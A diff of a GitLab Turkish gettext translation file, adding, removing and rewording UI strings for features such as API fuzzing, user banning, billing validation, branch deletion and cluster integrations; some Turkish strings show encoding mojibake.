+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr "AWS Erişim Anahtarı"
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr "Madde iÅŸareti listesi ekle"
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr "Bu satıra yorum ekle"
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr "Yönetici alanı"
@@ -2330,9 +2350,6 @@ msgstr "Ortam değişkenleri öntanımlı olarak korunur"
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr "Genel Ayarlar'a Git"
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr "Entegrasyonlara taşındı"
msgid "AdminSettings|No required pipeline"
msgstr "Gerekli iş hattı yok"
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr "Gerekli iş hattı yapılandırması"
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr "Bazı ayarlar taşındı"
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr "Her projenin Otomatik İnceleme Uygulamaları ve Otomatik Dağıtma aşamaları için varsayılan olarak kullanılacak bir etki alanı belirleyin."
@@ -2420,6 +2431,9 @@ msgstr "Parçacıklar"
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr "2FA Devre dışı"
msgid "AdminUsers|2FA Enabled"
msgstr "2FA Etkin"
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr "EriÅŸim"
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr "LDAP engelli kullanıcıların engellemesini kaldıramıyor"
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr "Devre dışı bırak"
@@ -2570,6 +2605,9 @@ msgstr "Koltuğu kullanıyor"
msgid "AdminUsers|It's you!"
msgstr "Bu sensin!"
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr "Onaylamak için, %{projectName} yazın"
msgid "AdminUsers|To confirm, type %{username}"
msgstr "Onaylamak için, %{username} yazın"
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr "Kullanıcı git depolarına erişemeyecek"
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr "GeliÅŸmiÅŸ"
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr "GeliÅŸmiÅŸ Ayarlar"
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] "Uyarı"
msgstr[1] "Uyarı"
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr "Tüm ortamlar"
msgid "All epics"
msgstr "Tüm epikler"
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr "Tüm özellikler şablonlardan veya içe aktarırken boş projeler için etkindir, ancak daha sonra proje ayarlarında bunları devre dışı bırakabilirsiniz."
-
msgid "All groups and projects"
msgstr "Tüm gruplar ve projeler"
@@ -3277,6 +3330,9 @@ msgstr "Ä°zin verildi"
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr "Etiket renkleri alınırken bir hata oluştu."
msgid "An error occurred while fetching markdown preview"
msgstr "Markdown ön izlemesi yüklenirken hata oluştu"
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr "Sorunlar yüklenirken bir sorun oluştu"
msgid "An error occurred while loading merge requests."
msgstr "Birleştirme istekleri yüklenirken bir hata oluştu."
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr "Sorunları yeniden sıralarken bir hata oluştu."
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr "Onaylayıcı"
msgid "Approvers"
msgstr "Onaylayanlar"
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr "Nis"
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr "Bu sürümde arşivlendi"
-msgid "Archived project! Repository and other project resources are read only"
-msgstr "Arşivlenmiş proje! Depo ve diğer proje kaynakları sadece okunabilir özelliğe sahiptir"
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr "Proje arşivlendi! Depo ve diğer proje kaynakları sadece okunur"
msgid "Archived projects"
msgstr "ArÅŸivlenmiÅŸ projeler"
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr "Let's Encrypt kullanarak otomatik sertifika yönetimi"
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr "Arkaplan Rengi"
msgid "Background Jobs"
msgstr "Arka plan iÅŸleri"
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr "Arkaplan rengi"
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr "Planı yönet"
@@ -5004,6 +5069,9 @@ msgstr "Bu grup, üst grup ile ilişkili planı kullanır."
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr "Bu grubun planını yönetmek için, %{parent_billing_page_link} faturalandırma bölümünü ziyaret edin."
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr "Sık sorulan sorular"
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr "aylık"
@@ -5037,6 +5108,27 @@ msgstr "Yükselt"
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr "Etkin dallar"
msgid "Branches|All"
msgstr "Tümü"
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr "Bu dal için HEAD işlemi bulunamadı"
@@ -5298,6 +5402,9 @@ msgstr "'%{default_branch}' ile birleştirilmiş tüm dalları sil"
msgid "Branches|Delete branch"
msgstr "Dalı sil"
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr "Birleştirilmiş dalları sil"
@@ -5307,6 +5414,12 @@ msgstr "Korumalı dalı sil"
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr "Korumalı '%{branch_name}' dalı silinsin mi?"
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr "'%{branch_name}' dalını siliyorsunuz ve bu geri alınamaz. Emin misiniz?"
@@ -5328,12 +5441,18 @@ msgstr "Gösterilecek dal yok"
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr "Kabul edip, %{delete_protected_branch} düğmesine tıkladığınızda yapılan işlem geri alınıp kurtarılamaz."
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr "Sadece bir proje yöneticisi veya sahibi korunan bir dalı silebilir"
msgid "Branches|Overview"
msgstr "Genel Bakış"
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr "Korumalı dallar %{project_settings_link} bağlantısından yönetilebilir."
@@ -5367,6 +5486,9 @@ msgstr "Dal, giriş yönü karşılığından ayrıldığı için otomatik olara
msgid "Branches|The default branch cannot be deleted"
msgstr "Öntanımlı dal silinemez"
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr "Bu dal %{default_branch} ile birleÅŸtirilmedi."
@@ -5379,6 +5501,18 @@ msgstr "Kabul etmek için %{branch_name_confirmation} yazın:"
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr "Yerel değişikliklerden vazgeçip akış sürümüyle dalın üzerine yazmak için, buradan silin ve yukarıdan 'Şimdi Güncelle'yi seçin."
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr "Korumalı olan %{branch_name} dalını kalıcı olarak silmek üzeresiniz."
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr "%{user_name} tarafından"
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr "Öntanımlı olarak GitLab, e-postaları HTML ve düz metin biçimlerinde gönderir, böylece posta istemcileri hangi biçimi kullanacaklarını seçebilir. Yalnızca düz metin biçiminde e-postalar göndermek istiyorsanız bu seçeneği devre dışı bırakın."
@@ -5580,15 +5720,15 @@ msgstr "CI/CD ayarları"
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr "CI/CD için harici depo"
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,8 +6433,8 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr "Neyin değiştiğini görmek ya da birleştirme talebi oluşturmak için bir dal/etiket seçin (ör. %{master}) ya da bir işlem girin (ör %{sha})."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgstr ""
msgid "Choose a file"
msgstr "Bir dosya seç"
@@ -6674,72 +6817,6 @@ msgstr "%{quick_action_target} bunu kapatır."
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr "Küme"
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr "Temel etki alanı"
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr "CA Sertifikası"
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr "Genel varsayılan"
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr "Google Cloud Platform projesi"
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr "Alt ağlar yükleniyor"
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr "Makine türü"
@@ -7370,9 +7444,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr "Kubernetes küme bütünleşmesini kaldır"
@@ -7610,9 +7678,6 @@ msgstr "Makine türünü seçmek için alan seç"
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7625,9 +7690,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr "Sonunda bir ÅŸeyler ters gitti."
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr "Desen"
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8044,6 +8115,9 @@ msgstr "Ä°ÅŸlem"
msgid "CommitMessage|Add %{file_name}"
msgstr "%{file_name} ekle"
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr "oluÅŸturdu:"
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr "Gizlilik"
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr "%{title} başarıyla silinmek üzere zamanlandı"
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr "Yeni Etki Alanı Oluştur"
msgid "Create Project"
msgstr "Proje OluÅŸtur"
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9238,9 +9315,6 @@ msgstr "Yeni bir depo oluÅŸtur"
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9292,6 +9366,9 @@ msgstr "Grup oluÅŸtur"
msgid "Create group label"
msgstr "Grup etiketi oluÅŸtur"
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr "Sorun kaydı oluştur"
@@ -9343,6 +9420,9 @@ msgstr "Yeni dosya veya dizin oluÅŸtur"
msgid "Create new label"
msgstr "Yeni etiket oluÅŸtur"
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr "Yeni oluÅŸtur..."
@@ -9376,6 +9456,9 @@ msgstr "İlk sayfanızı oluşturun"
msgid "Create your group"
msgstr "Bir grup oluÅŸtur"
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr "İlk projenizi oluşturun/içe aktarın"
@@ -9703,27 +9786,6 @@ msgstr "Özel aralık"
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr "AÅŸama ekle"
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr "AÅŸama ekle"
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr "Düzenleme aşaması"
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr "Yeni aÅŸama"
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr "DNS"
@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr "Yorumu sil"
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
+msgstr ""
+
+msgid "DevopsAdoption|At least one approval on an MR"
+msgstr ""
+
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|Code owners"
msgstr ""
